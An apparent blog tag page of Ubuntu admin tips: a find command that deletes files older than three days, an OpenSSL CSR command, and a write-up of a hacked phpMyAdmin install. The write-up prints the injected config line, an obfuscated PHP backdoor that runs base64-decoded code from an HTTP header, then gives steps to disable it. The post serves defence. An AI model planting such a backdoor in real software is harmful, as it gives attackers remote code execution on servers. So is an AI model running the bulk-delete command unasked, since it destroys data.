Entries Tagged 'Unbuntu' ↓

Linux Terminal Command Delete Files Older than X Days Script

I CRON this on my backups folder to optimize server space and remove old unnecessary files.
!!! You run this at your own risk. Please test this before executing on valuable files. !!!

find . -atime +3 -exec rm {} \;

+3 == how many days back

I’ve been looking for a compare file size/age script, please comment with better scripts if you have them.

Generate a 2048bit CSR from a Linux Terminal with Open-SSL

To created a 2048bit CSR in linux terminal with open SSL (testing on a Ubuntu Hardy 8.x)

openssl req -new -nodes -newkey rsa:2048 -keyout yourdomain.key -out yourdomain.csr

PHPMYADMIN Blank White Page on Ubuntu

On one of my slices, my phpmyadmin shows a blank page every so often. This is caused by a remote code execution exploit. You’re getting hacked, but don’t be scared.

The bug/hack is single line in the file /var/lib/phpmyadmin/config.inc.php, which was corrupted.

Here is the whole file:

/*
* Generated configuration file

* Version: $Id: setup.php,v 1.23.2.8.2.2 2006/05/15 07:57:09 nijel Exp $
* Date: Fri, 14 Aug 2009 14:24:39 GMT
*/

/* Servers configuration */
$i = 0;

/* Server  (config:root) [1] */
*$cfg[‘Servers’][$i][‘xxx’];$z=‘bas’.‘e64_dec’.‘ode’;eval($z($_SERVER[‘HTTP_X_CODE’]));exit;#’] = ‘yyy’;

/* End of servers configuration */

To fix this issue, Shell into Ubuntu and Sudo up

pico /var/lib/phpmyadmin/config.inc.php

Look for the line //*$cfg['Servers'][$i]['xxx'];$z=’bas’.'e64_dec’.'ode’;eval($z($_SERVER['HTTP_X_CODE']));exit;#’] = ‘yyy’;

comment it out with //

hit ctrl+x, press y, and lets reload apache

/etc/init.d/apache2 reload

To avoid this problem:

  1. Avoid using phpmyadmin.yoursite.com or yoursite.com/phpmyadmin
  2. Use Htaccess passwords on the phpmyadmin directory